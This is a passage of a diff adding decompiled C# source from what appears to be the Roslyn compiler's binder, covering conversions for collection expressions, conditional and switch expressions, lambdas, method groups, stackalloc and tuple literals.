BoundExpressionStatement((SyntaxNode)(object)syntax, expression) + { + WasCompilerGenerated = true + }, lengthOrCount: boundCollectionExpressionSpreadElement.LengthOrCount); + } + } + + internal bool TryGetCollectionIterationType(ExpressionSyntax syntax, TypeSymbol collectionType, out TypeWithAnnotations iterationType) + { + BoundExpression collectionExpr = new BoundValuePlaceholder((SyntaxNode)(object)syntax, collectionType); + ForEachEnumeratorInfo.Builder builder; + return GetEnumeratorInfoAndInferCollectionElementType((SyntaxNode)(object)syntax, syntax, ref collectionExpr, isAsync: false, BindingDiagnosticBag.Discarded, out iterationType, out builder); + } + + private BoundCollectionExpression BindCollectionExpressionForErrorRecovery(BoundUnconvertedCollectionExpression node, TypeSymbol targetType, BindingDiagnosticBag diagnostics) + { + SyntaxNode syntax = node.Syntax; + ArrayBuilder instance = ArrayBuilder.GetInstance(node.Elements.Length); + ImmutableArray.Enumerator enumerator = node.Elements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + instance.Add(BindToNaturalType(current, diagnostics, !targetType.IsErrorType())); + } + return new BoundCollectionExpression(syntax, CollectionExpressionTypeKind.None, null, null, null, null, null, instance.ToImmutableAndFree(), targetType, hasErrors: true); + } + + private void GenerateImplicitConversionErrorForCollectionExpression(BoundUnconvertedCollectionExpression node, TypeSymbol targetType, BindingDiagnosticBag diagnostics) + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_019b: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00e3: Unknown result type (might be due to invalid IL or missing references) + TypeWithAnnotations elementType; + CollectionExpressionTypeKind collectionExpressionTypeKind = ConversionsBase.GetCollectionExpressionTypeKind(Compilation, targetType, out elementType); + if (collectionExpressionTypeKind == CollectionExpressionTypeKind.CollectionBuilder && !TryGetCollectionIterationType((ExpressionSyntax)(object)node.Syntax, targetType, out elementType)) + { + Error(diagnostics, ErrorCode.ERR_CollectionBuilderNoElementType, SyntaxNodeOrToken.op_Implicit(node.Syntax), targetType); + return; + } + TypeSymbol type = elementType.Type; + if (collectionExpressionTypeKind == CollectionExpressionTypeKind.ImplementsIEnumerableT) + { + NamedTypeSymbol namedTypeSymbol = findSingleIEnumerableTImplementation(targetType, Compilation); + if ((object)namedTypeSymbol != null) + { + type = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].Type; + } + } + bool flag = false; + if (collectionExpressionTypeKind != CollectionExpressionTypeKind.None && (object)type != null) + { + ImmutableArray elements = node.Elements; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + ImmutableArray.Enumerator enumerator = elements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (current is BoundCollectionExpressionSpreadElement boundCollectionExpressionSpreadElement) + { + ForEachEnumeratorInfo enumeratorInfoOpt = boundCollectionExpressionSpreadElement.EnumeratorInfoOpt; + if (enumeratorInfoOpt == null) + { + Error(diagnostics, ErrorCode.ERR_NoImplicitConv, SyntaxNodeOrToken.op_Implicit(boundCollectionExpressionSpreadElement.Expression.Syntax), boundCollectionExpressionSpreadElement.Expression.Display, type); + flag = true; + continue; + } + Conversion collectionExpressionSpreadElementConversion = Conversions.GetCollectionExpressionSpreadElementConversion(boundCollectionExpressionSpreadElement, type, ref useSiteInfo); + if (!collectionExpressionSpreadElementConversion.Exists) + { + GenerateImplicitConversionError(diagnostics, Compilation, boundCollectionExpressionSpreadElement.Expression.Syntax, collectionExpressionSpreadElementConversion, enumeratorInfoOpt.ElementType, type); + flag = true; + } + } + else + { + Conversion conversion = Conversions.ClassifyImplicitConversionFromExpression(current, type, ref useSiteInfo); + if (!conversion.Exists) + { + GenerateImplicitConversionError(diagnostics, current.Syntax, conversion, current, type); + flag = true; + } + } + } + } + if (!flag) + { + Error(diagnostics, ErrorCode.ERR_CollectionExpressionTargetTypeNotConstructible, SyntaxNodeOrToken.op_Implicit(node.Syntax), targetType); + } + static NamedTypeSymbol? findSingleIEnumerableTImplementation(TypeSymbol type2, CSharpCompilation compilation) + { + ImmutableArray allInterfacesOrEffectiveInterfaces = type2.GetAllInterfacesOrEffectiveInterfaces(); + NamedTypeSymbol specialType = compilation.GetSpecialType((SpecialType)25); + NamedTypeSymbol namedTypeSymbol2 = null; + ImmutableArray.Enumerator enumerator2 = allInterfacesOrEffectiveInterfaces.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamedTypeSymbol current2 = enumerator2.Current; + if ((object)current2.OriginalDefinition == specialType) + { + if ((object)namedTypeSymbol2 != null) + { + return null; + } + namedTypeSymbol2 = current2; + } + } + return namedTypeSymbol2; + } + } + + private MethodSymbol? GetCollectionBuilderMethod(NamedTypeSymbol targetType, TypeSymbol elementTypeOriginalDefinition, TypeSymbol? builderType, string? methodName, ref CompoundUseSiteInfo useSiteInfo, out Conversion returnTypeConversion) + { + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_00d9: Unknown result type (might be due to invalid IL or missing references) + //IL_00df: Invalid comparison between Unknown and I4 + returnTypeConversion = default(Conversion); + if (!SourceNamedTypeSymbol.IsValidCollectionBuilderType(builderType)) + { + return null; + } + if (string.IsNullOrEmpty(methodName)) + { + return null; + } + NamedTypeSymbol wellKnownType = Compilation.GetWellKnownType((WellKnownType)276); + ImmutableArray.Enumerator enumerator = builderType.GetMembers(methodName).GetEnumerator(); + CompoundUseSiteInfo useSiteInfo2 = default(CompoundUseSiteInfo); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + MethodSymbol methodSymbol = current as MethodSymbol; + if ((object)methodSymbol == null || !current.IsStatic) + { + continue; + } + useSiteInfo2._002Ector(useSiteInfo); + if (!IsAccessible(methodSymbol, ref useSiteInfo2)) + { + continue; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + targetType.GetAllTypeArgumentsNoUseSiteDiagnostics(instance); + ImmutableArray typeArguments = instance.ToImmutableAndFree(); + if (methodSymbol.Arity != typeArguments.Length) + { + continue; + } + ImmutableArray parameters = methodSymbol.Parameters; + if (parameters.Length != 1) + { + continue; + } + ParameterSymbol parameterSymbol = parameters[0]; + if ((object)parameterSymbol == null || (int)parameterSymbol.RefKind != 0) + { + continue; + } + TypeSymbol type = parameterSymbol.Type; + if (!wellKnownType.Equals(type.OriginalDefinition, (TypeCompareKind)63)) + { + continue; + } + MethodSymbol methodSymbol2; + if (typeArguments.Length > 0) + { + ImmutableArray typeArguments2 = TypeMap.TypeParametersAsTypeSymbolsWithAnnotations(targetType.OriginalDefinition.GetAllTypeParameters()); + methodSymbol2 = methodSymbol.OriginalDefinition.Construct(typeArguments2); + methodSymbol = methodSymbol.Construct(typeArguments); + } + else + { + methodSymbol2 = methodSymbol; + } + TypeSymbol type2 = ((NamedTypeSymbol)methodSymbol2.Parameters[0].Type).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].Type; + if (Conversions.ClassifyImplicitConversionFromType(elementTypeOriginalDefinition, type2, ref useSiteInfo2).IsIdentity) + { + Conversion conversion = Conversions.ClassifyImplicitConversionFromType(methodSymbol2.ReturnType, targetType.OriginalDefinition, ref useSiteInfo2); + ConversionKind kind = conversion.Kind; + if (kind == ConversionKind.Identity || kind - 12 <= ConversionKind.NoConversion) + { + useSiteInfo.AddDiagnostics(useSiteInfo2.Diagnostics); + returnTypeConversion = conversion; + return methodSymbol; + } + } + } + return null; + } + + private BoundExpression ConvertConditionalExpression(BoundUnconvertedConditionalOperator source, TypeSymbol destination, Conversion? conversionIfTargetTyped, BindingDiagnosticBag diagnostics, bool hasErrors = false) + { + bool hasValue = conversionIfTargetTyped.HasValue; + ImmutableArray underlyingConversions = conversionIfTargetTyped.GetValueOrDefault().UnderlyingConversions; + BoundExpression condition = source.Condition; + hasErrors |= source.HasErrors || destination.IsErrorType(); + BoundExpression boundExpression = (hasValue ? CreateConversion(source.Consequence.Syntax, source.Consequence, underlyingConversions[0], isCast: false, null, destination, diagnostics) : GenerateConversionForAssignment(destination, source.Consequence, diagnostics)); + BoundExpression boundExpression2 = (hasValue ? CreateConversion(source.Alternative.Syntax, source.Alternative, underlyingConversions[1], isCast: false, null, destination, diagnostics) : GenerateConversionForAssignment(destination, source.Alternative, diagnostics)); + ConstantValue val = FoldConditionalOperator(condition, boundExpression, boundExpression2); + hasErrors |= val != null && val.IsBad; + if (hasValue && !destination.IsErrorType() && !Compilation.IsFeatureEnabled(MessageID.IDS_FeatureTargetTypedConditional)) + { + diagnostics.Add(ErrorCode.ERR_NoImplicitConvTargetTypedConditional, source.Syntax.Location, Compilation.LanguageVersion.ToDisplayString(), source.Consequence.Display, source.Alternative.Display, new CSharpRequiredLanguageVersion(MessageID.IDS_FeatureTargetTypedConditional.RequiredVersion())); + } + return new BoundConditionalOperator(source.Syntax, isRef: false, condition, boundExpression, boundExpression2, val, source.Type, hasValue, destination, hasErrors).WithSuppression(source.IsSuppressed); + } + + private BoundExpression ConvertSwitchExpression(BoundUnconvertedSwitchExpression source, TypeSymbol destination, Conversion? conversionIfTargetTyped, BindingDiagnosticBag diagnostics, bool hasErrors = false) + { + bool hasValue = conversionIfTargetTyped.HasValue; + ImmutableArray underlyingConversions = (conversionIfTargetTyped ?? Conversion.Identity).UnderlyingConversions; + ArrayBuilder instance = ArrayBuilder.GetInstance(source.SwitchArms.Length); + int i = 0; + for (int length = source.SwitchArms.Length; i < length; i++) + { + BoundSwitchExpressionArm boundSwitchExpressionArm = source.SwitchArms[i]; + BoundExpression value = boundSwitchExpressionArm.Value; + BoundExpression boundExpression = (hasValue ? CreateConversion(value.Syntax, value, underlyingConversions[i], isCast: false, null, destination, diagnostics) : GenerateConversionForAssignment(destination, value, diagnostics)); + BoundSwitchExpressionArm boundSwitchExpressionArm2 = ((value == boundExpression) ? boundSwitchExpressionArm : new BoundSwitchExpressionArm(boundSwitchExpressionArm.Syntax, boundSwitchExpressionArm.Locals, boundSwitchExpressionArm.Pattern, boundSwitchExpressionArm.WhenClause, boundExpression, boundSwitchExpressionArm.Label, boundSwitchExpressionArm.HasErrors)); + instance.Add(boundSwitchExpressionArm2); + } + ImmutableArray switchArms = instance.ToImmutableAndFree(); + return new BoundConvertedSwitchExpression(source.Syntax, source.Type, hasValue, source.Expression, switchArms, source.ReachabilityDecisionDag, source.DefaultLabel, source.ReportedNotExhaustive, destination, hasErrors || source.HasErrors).WithSuppression(source.IsSuppressed); + } + + private BoundExpression CreateUserDefinedConversion(SyntaxNode syntax, BoundExpression source, Conversion conversion, bool isCast, ConversionGroup conversionGroup, TypeSymbol destination, BindingDiagnosticBag diagnostics, bool hasErrors) + { + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_01aa: Unknown result type (might be due to invalid IL or missing references) + if (!conversion.IsValid) + { + if (!hasErrors) + { + GenerateImplicitConversionError(diagnostics, syntax, conversion, source, destination); + } + return new BoundConversion(syntax, source, conversion, CheckOverflowAtRuntime, isCast, conversionGroup, null, destination, hasErrors: true) + { + WasCompilerGenerated = source.WasCompilerGenerated + }; + } + BoundExpression boundExpression = CreateConversion(source.Syntax, source, conversion.UserDefinedFromConversion, isCast: false, conversionGroup, wasCompilerGenerated: false, conversion.BestUserDefinedConversionAnalysis.FromType, diagnostics); + TypeSymbol parameterType = conversion.BestUserDefinedConversionAnalysis.Operator.GetParameterType(0); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + if (conversion.BestUserDefinedConversionAnalysis.Kind == UserDefinedConversionAnalysisKind.ApplicableInNormalForm && !TypeSymbol.Equals(conversion.BestUserDefinedConversionAnalysis.FromType, parameterType, (TypeCompareKind)0)) + { + boundExpression = CreateConversion(syntax, boundExpression, Conversions.ClassifyStandardConversion(boundExpression.Type, parameterType, ref useSiteInfo), isCast: false, conversionGroup, wasCompilerGenerated: true, parameterType, diagnostics); + } + TypeSymbol returnType = conversion.BestUserDefinedConversionAnalysis.Operator.ReturnType; + TypeSymbol toType = conversion.BestUserDefinedConversionAnalysis.ToType; + Conversion conversion2 = conversion.UserDefinedToConversion; + BoundExpression source2; + if (conversion.BestUserDefinedConversionAnalysis.Kind == UserDefinedConversionAnalysisKind.ApplicableInNormalForm && !TypeSymbol.Equals(toType, returnType, (TypeCompareKind)0)) + { + source2 = new BoundConversion(syntax, boundExpression, conversion, CheckOverflowAtRuntime, isCast, conversionGroup, null, returnType) + { + WasCompilerGenerated = true + }; + if (toType.IsNullableType() && TypeSymbol.Equals(toType.GetNullableUnderlyingType(), returnType, (TypeCompareKind)0)) + { + conversion2 = Conversions.ClassifyConversionFromType(returnType, destination, CheckOverflowAtRuntime, ref useSiteInfo); + } + else + { + source2 = CreateConversion(syntax, source2, Conversions.ClassifyStandardConversion(returnType, toType, ref useSiteInfo), isCast: false, conversionGroup, wasCompilerGenerated: true, toType, diagnostics); + } + } + else + { + source2 = new BoundConversion(syntax, boundExpression, conversion, CheckOverflowAtRuntime, isCast, conversionGroup, null, toType) + { + WasCompilerGenerated = true + }; + } + ((BindingDiagnosticBag)(object)diagnostics).Add(syntax, useSiteInfo); + BoundExpression boundExpression2 = CreateConversion(syntax, source2, conversion2, isCast: false, conversionGroup, wasCompilerGenerated: true, destination, diagnostics); + boundExpression2.ResetCompilerGenerated(source.WasCompilerGenerated); + return boundExpression2; + } + + private BoundExpression CreateFunctionTypeConversion(SyntaxNode syntax, BoundExpression source, Conversion conversion, bool isCast, ConversionGroup? conversionGroup, TypeSymbol destination, BindingDiagnosticBag diagnostics) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Invalid comparison between Unknown and I4 + //IL_0138: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + NamedTypeSymbol namedTypeSymbol = source.GetInferredDelegateType(ref useSiteInfo); + if (source.Kind == BoundKind.UnboundLambda && destination.IsNonGenericExpressionType()) + { + namedTypeSymbol = Compilation.GetWellKnownType((WellKnownType)217).Construct(namedTypeSymbol); + namedTypeSymbol.AddUseSiteInfo(ref useSiteInfo); + } + conversion = Conversions.ClassifyConversionFromExpression(source, namedTypeSymbol, CheckOverflowAtRuntime, ref useSiteInfo); + bool flag = source.Kind == BoundKind.MethodGroup && !isCast && conversion.Exists && (int)destination.SpecialType == 1; + BoundExpression boundExpression; + if (!conversion.Exists) + { + GenerateImplicitConversionError(diagnostics, syntax, conversion, source, namedTypeSymbol); + boundExpression = new BoundConversion(syntax, source, conversion, @checked: false, isCast, conversionGroup, null, namedTypeSymbol, hasErrors: true) + { + WasCompilerGenerated = source.WasCompilerGenerated + }; + } + else + { + boundExpression = CreateConversion(syntax, source, conversion, isCast, conversionGroup, namedTypeSymbol, diagnostics); + } + conversion = Conversions.ClassifyConversionFromExpression(boundExpression, destination, CheckOverflowAtRuntime, ref useSiteInfo); + if (!conversion.Exists) + { + GenerateImplicitConversionError(diagnostics, syntax, conversion, source, destination); + } + else if (flag) + { + Error(diagnostics, ErrorCode.WRN_MethGrpToNonDel, SyntaxNodeOrToken.op_Implicit(syntax), ((BoundMethodGroup)source).Name, destination); + } + ((BindingDiagnosticBag)(object)diagnostics).Add(syntax, useSiteInfo); + return CreateConversion(syntax, boundExpression, conversion, isCast, conversionGroup, destination, diagnostics); + } + + private BoundExpression CreateAnonymousFunctionConversion(SyntaxNode syntax, BoundExpression source, Conversion conversion, bool isCast, ConversionGroup? conversionGroup, TypeSymbol destination, BindingDiagnosticBag diagnostics) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + bool isGenericType; + BoundLambda boundLambda = ((UnboundLambda)source).Bind((NamedTypeSymbol)destination, destination.IsGenericOrNonGenericExpressionType(out isGenericType)).WithInAnonymousFunctionConversion(); + ((BindingDiagnosticBag)(object)diagnostics).AddRange(boundLambda.Diagnostics, false); + CheckParameterModifierMismatchMethodConversion(syntax, boundLambda.Symbol, destination, invokedAsExtensionMethod: false, diagnostics); + CheckLambdaConversion(boundLambda.Symbol, destination, diagnostics); + return new BoundConversion(syntax, boundLambda, conversion, @checked: false, isCast, conversionGroup, null, destination) + { + WasCompilerGenerated = source.WasCompilerGenerated + }; + } + + private BoundExpression CreateMethodGroupConversion(SyntaxNode syntax, BoundExpression source, Conversion conversion, bool isCast, ConversionGroup? conversionGroup, TypeSymbol destination, BindingDiagnosticBag diagnostics) + { + (BoundMethodGroup, bool) tuple; + if (!(source is BoundMethodGroup item)) + { + if (source is BoundUnconvertedAddressOfOperator boundUnconvertedAddressOfOperator) + { + BoundMethodGroup operand = boundUnconvertedAddressOfOperator.Operand; + if (operand != null) + { + tuple = (operand, true); + goto IL_0046; + } + } + throw ExceptionUtilities.UnexpectedValue((object)source); + } + tuple = (item, false); + goto IL_0046; + IL_0046: + (BoundMethodGroup, bool) tuple2 = tuple; + BoundMethodGroup item2 = tuple2.Item1; + bool item3 = tuple2.Item2; + BoundMethodGroup boundMethodGroup = FixMethodGroupWithTypeOrValue(item2, conversion, diagnostics); + bool hasErrors = false; + if (MethodGroupConversionHasErrors(syntax, conversion, boundMethodGroup.ReceiverOpt, conversion.IsExtensionMethod, item3, destination, diagnostics)) + { + hasErrors = true; + } + return new BoundConversion(syntax, boundMethodGroup, conversion, @checked: false, isCast, conversionGroup, null, destination, hasErrors) + { + WasCompilerGenerated = boundMethodGroup.WasCompilerGenerated + }; + } + + private static void CheckParameterModifierMismatchMethodConversion(SyntaxNode syntax, MethodSymbol lambdaOrMethod, TypeSymbol targetType, bool invokedAsExtensionMethod, BindingDiagnosticBag diagnostics) + { + NamedTypeSymbol delegateType = targetType.GetDelegateType(); + MethodSymbol methodSymbol; + if ((object)delegateType != null) + { + methodSymbol = delegateType.DelegateInvokeMethod; + } + else + { + if (!(targetType is FunctionPointerTypeSymbol functionPointerTypeSymbol)) + { + return; + } + methodSymbol = functionPointerTypeSymbol.Signature; + } + if (SourceMemberContainerTypeSymbol.RequiresValidScopedOverrideForRefSafety(methodSymbol)) + { + SourceMemberContainerTypeSymbol.CheckValidScopedOverride(methodSymbol, lambdaOrMethod, diagnostics, delegate(BindingDiagnosticBag bindingDiagnosticBag, MethodSymbol delegateMethod, MethodSymbol overrideMethod, ParameterSymbol parameter, bool _, (TypeSymbol Type, SyntaxNode Syntax) typeAndSyntax) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + bindingDiagnosticBag.Add(SourceMemberContainerTypeSymbol.ReportInvalidScopedOverrideAsError(delegateMethod, overrideMethod) ? ErrorCode.ERR_ScopedMismatchInParameterOfTarget : ErrorCode.WRN_ScopedMismatchInParameterOfTarget, typeAndSyntax.Syntax.Location, (object)new FormattedSymbol((ISymbolInternal)(object)parameter, SymbolDisplayFormat.ShortFormat), typeAndSyntax.Type); + }, (targetType, syntax), allowVariance: true, invokedAsExtensionMethod); + } + SourceMemberContainerTypeSymbol.CheckRefReadonlyInMismatch(methodSymbol, lambdaOrMethod, diagnostics, delegate(BindingDiagnosticBag bindingDiagnosticBag, MethodSymbol delegateMethod, MethodSymbol methodSymbol2, ParameterSymbol lambdaOrMethodParameter, bool _, (ParameterSymbol BaseParameter, Location Arg) arg) + { + var (parameterSymbol, location) = arg; + bindingDiagnosticBag.Add(ErrorCode.WRN_TargetDifferentRefness, location, lambdaOrMethodParameter, parameterSymbol); + }, syntax.Location, invokedAsExtensionMethod); + } + + private static void CheckLambdaConversion(LambdaSymbol lambdaSymbol, TypeSymbol targetType, BindingDiagnosticBag diagnostics) + { + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Invalid comparison between Unknown and I4 + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Invalid comparison between Unknown and I4 + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol? delegateType = targetType.GetDelegateType(); + bool flag = delegateType.DelegateInvokeMethod?.OriginalDefinition is SynthesizedDelegateInvokeMethod; + ImmutableArray immutableArray = delegateType.DelegateParameters(); + for (int num = 0; num < lambdaSymbol.ParameterCount; num++) + { + ParameterSymbol parameterSymbol = lambdaSymbol.Parameters[num]; + ParameterSymbol parameterSymbol2 = immutableArray[num]; + if (flag) + { + ConstantValue explicitDefaultConstantValue = parameterSymbol2.ExplicitDefaultConstantValue; + if (explicitDefaultConstantValue != null) + { + if (parameterSymbol is SourceComplexParameterSymbolBase sourceComplexParameterSymbolBase) + { + ConstantValue explicitDefaultConstantValue2 = sourceComplexParameterSymbolBase.ExplicitDefaultConstantValue; + if (explicitDefaultConstantValue2 != null && explicitDefaultConstantValue2.IsDecimal && sourceComplexParameterSymbolBase.DefaultValueFromAttributes == null) + { + goto IL_00df; + } + } + SpecialType specialType = explicitDefaultConstantValue.SpecialType; + WellKnownMember? val = (((int)specialType == 17) ? new WellKnownMember?((WellKnownMember)109) : (((int)specialType != 33) ? ((WellKnownMember?)null) : new WellKnownMember?((WellKnownMember)108))); + WellKnownMember? val2 = val; + if (val2.HasValue) + { + reportUseSiteDiagnosticForSynthesizedAttribute(lambdaSymbol, parameterSymbol, val2.GetValueOrDefault(), diagnostics); + } + } + goto IL_00df; + } + goto IL_00f5; + IL_00df: + if (parameterSymbol2.HasUnscopedRefAttribute) + { + reportUseSiteDiagnosticForSynthesizedAttribute(lambdaSymbol, parameterSymbol, (WellKnownMember)477, diagnostics); + } + goto IL_00f5; + IL_00f5: + if (!((SyntaxNode?)(object)lambdaSymbol.SyntaxNode).IsKind(SyntaxKind.AnonymousMethodExpression)) + { + if (parameterSymbol.HasExplicitDefaultValue) + { + ConstantValue explicitDefaultConstantValue3 = parameterSymbol.ExplicitDefaultConstantValue; + if (explicitDefaultConstantValue3 != null && !explicitDefaultConstantValue3.IsBad) + { + ConstantValue val3 = (parameterSymbol2.HasExplicitDefaultValue ? parameterSymbol2.ExplicitDefaultConstantValue : null); + if ((val3 == null || !val3.IsBad) && explicitDefaultConstantValue3 != val3) + { + Error(diagnostics, ErrorCode.WRN_OptionalParamValueMismatch, parameterSymbol.GetFirstLocation(), num + 1, explicitDefaultConstantValue3, val3 ?? ((object)MessageID.IDS_Missing.Localize())); + } + } + } + if (parameterSymbol.IsParams && !parameterSymbol2.IsParams && num == lambdaSymbol.ParameterCount - 1 && parameterSymbol.Type.IsSZArray()) + { + Error(diagnostics, ErrorCode.WRN_ParamsArrayInLambdaOnly, parameterSymbol.GetFirstLocation(), num + 1); + } + } + } + static void reportUseSiteDiagnosticForSynthesizedAttribute(LambdaSymbol lambdaSymbol2, ParameterSymbol lambdaParameter, WellKnownMember member, BindingDiagnosticBag diagnostics2) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + ReportUseSiteDiagnosticForSynthesizedAttribute(lambdaSymbol2.DeclaringCompilation, member, diagnostics2, lambdaParameter.TryGetFirstLocation() ?? ((SyntaxNode)lambdaSymbol2.SyntaxNode).Location); + } + } + + private BoundExpression CreateStackAllocConversion(SyntaxNode syntax, BoundExpression source, Conversion conversion, bool isCast, ConversionGroup? conversionGroup, TypeSymbol destination, BindingDiagnosticBag diagnostics) + { + BoundStackAllocArrayCreation boundStackAllocArrayCreation = (BoundStackAllocArrayCreation)source; + TypeSymbol elementType = boundStackAllocArrayCreation.ElementType; + TypeSymbol type; + switch (conversion.Kind) + { + case ConversionKind.StackAllocToPointerType: + ReportUnsafeIfNotAllowed(syntax.Location, diagnostics); + type = new PointerTypeSymbol(TypeWithAnnotations.Create(elementType)); + break; + case ConversionKind.StackAllocToSpanType: + CheckFeatureAvailability(syntax, MessageID.IDS_FeatureRefStructs, diagnostics); + type = Compilation.GetWellKnownType((WellKnownType)275).Construct(elementType); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)conversion.Kind); + } + BoundConvertedStackAllocExpression source2 = new BoundConvertedStackAllocExpression(syntax, elementType, boundStackAllocArrayCreation.Count, boundStackAllocArrayCreation.InitializerOpt, type, boundStackAllocArrayCreation.HasErrors); + Conversion conversion2 = conversion.UnderlyingConversions.Single(); + return CreateConversion(syntax, source2, conversion2, isCast, conversionGroup, destination, diagnostics); + } + + private BoundExpression CreateTupleLiteralConversion(SyntaxNode syntax, BoundTupleLiteral sourceTuple, Conversion conversion, bool isCast, ConversionGroup? conversionGroup, TypeSymbol destination, BindingDiagnosticBag diagnostics) + { + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol typeSymbol = destination; + Conversion conversion2 = conversion; + if (conversion.IsNullable) + { + typeSymbol = destination.GetNullableUnderlyingType(); + conversion2 = conversion.UnderlyingConversions[0]; + } + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)typeSymbol; + if (namedTypeSymbol.IsTupleType) + { + NamedTypeSymbol.ReportTupleNamesMismatchesIfAny(namedTypeSymbol, sourceTuple, diagnostics); + if (sourceTuple.Type is NamedTypeSymbol { IsTupleType: not false } namedTypeSymbol2) + { + namedTypeSymbol = namedTypeSymbol.WithTupleDataFrom(namedTypeSymbol2); + } + else + { + TupleExpressionSyntax tupleExpressionSyntax = (TupleExpressionSyntax)(object)sourceTuple.Syntax; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Enumerator enumerator = tupleExpressionSyntax.Arguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + ArgumentSyntax current = enumerator.Current; + NameColonSyntax? nameColon = current.NameColon; + instance.Add((nameColon != null) ? ((SyntaxNode)nameColon.Name).Location : null); + } + namedTypeSymbol = namedTypeSymbol.WithElementNames(sourceTuple.ArgumentNamesOpt, instance.ToImmutableAndFree(), default(ImmutableArray), ImmutableArray.Create(((SyntaxNode)tupleExpressionSyntax).Location)); + } + } + ImmutableArray arguments = sourceTuple.Arguments; + ArrayBuilder instance2 = ArrayBuilder.GetInstance(arguments.Length); + ImmutableArray tupleElementTypesWithAnnotations = namedTypeSymbol.TupleElementTypesWithAnnotations; + ImmutableArray underlyingConversions = conversion2.UnderlyingConversions; + for (int i = 0; i < arguments.Length; i++) + { + BoundExpression boundExpression = arguments[i]; + TypeWithAnnotations explicitType = tupleElementTypesWithAnnotations[i]; + Conversion conversion3 = underlyingConversions[i]; + ConversionGroup conversionGroupOpt = (isCast ? new ConversionGroup(conversion3, explicitType) : null); + instance2.Add(CreateConversion(boundExpression.Syntax, boundExpression, conversion3, isCast, conversionGroupOpt, explicitType.Type, diagnostics)); + } + BoundExpression boundExpression2 = new BoundConvertedTupleLiteral(sourceTuple.Syntax, sourceTuple, wasTargetTyped: true, instance2.ToImmutableAndFree(), sourceTuple.ArgumentNamesOpt, sourceTuple.InferredNamesOpt, namedTypeSymbol).WithSuppression(sourceTuple.IsSuppressed); + if (!TypeSymbol.Equals(sourceTuple.Type, destination, (TypeCompareKind)0)) + { + boundExpression2 = new BoundConversion(sourceTuple.Syntax, boundExpression2, conversion, @checked: false, isCast, conversionGroup, null, destination); + } + if (isCast) + { + boundExpression2 = new BoundConversion(syntax, boundExpression2, Conversion.Identity, @checked: false, isCast, conversionGroup, null, destination); + } + return boundExpression2; + } + + private static bool IsMethodGroupWithTypeOrValueReceiver(BoundNode node) + { + if (node.Kind != BoundKind.MethodGroup) + { + return false; + } + return IsTypeOrValueExpression(((BoundMethodGroup)node).ReceiverOpt); + } + + private BoundMethodGroup FixMethodGroupWithTypeOrValue(BoundMethodGroup group, Conversion conversion, BindingDiagnosticBag diagnostics) + { + if (!IsMethodGroupWithTypeOrValueReceiver(group)) + { + return group; + } + BoundExpression receiverOpt = group.ReceiverOpt; + BoundExpression receiver = receiverOpt; + MethodSymbol? method = conversion.Method; + receiverOpt = ReplaceTypeOrValueReceiver(receiver, (object)method != null && !method.RequiresInstanceReceiver && !conversion.IsExtensionMethod, diagnostics); + return group.Update(group.TypeArgumentsOpt, group.Name, group.Methods, group.LookupSymbolOpt, group.LookupError, group.Flags, group.FunctionType, receiverOpt, group.ResultKind); + } + + private bool MemberGroupFinalValidation(BoundExpression? receiverOpt, MethodSymbol methodSymbol, SyntaxNode node, BindingDiagnosticBag diagnostics, bool invokedAsExtensionMethod) + { + if (!IsBadBaseAccess(node, receiverOpt, methodSymbol, diagnostics)) + { + CheckReceiverAndRuntimeSupportForSymbolAccess(node, receiverOpt, methodSymbol, diagnostics); + } + if (MemberGroupFinalValidationAccessibilityChecks(receiverOpt, methodSymbol, node, diagnostics, invokedAsExtensionMethod)) + { + return true; + } + return !methodSymbol.CheckConstraints(new ConstraintsHelper.CheckConstraintsArgs(Compilation, Conversions, includeNullability: false, node.Location, diagnostics)); + } + + private bool MemberGroupFinalValidationAccessibilityChecks(BoundExpression? receiverOpt, Symbol memberSymbol, SyntaxNode node, BindingDiagnosticBag diagnostics, bool invokedAsExtensionMethod) + { + //IL_01fd: Unknown result type (might be due to invalid IL or missing references) + //IL_0202: Unknown result type (might be due to invalid IL or missing references) + //IL_021f: Unknown result type (might be due to invalid IL or missing references) + //IL_022d: Unknown result type (might be due to invalid IL or missing references) + //IL_01da: Unknown result type (might be due to invalid IL or missing references) + if (!IsTypeOrValueExpression(receiverOpt)) + { + if (!memberSymbol.RequiresInstanceReceiver()) + { + if (invokedAsExtensionMethod) + { + if 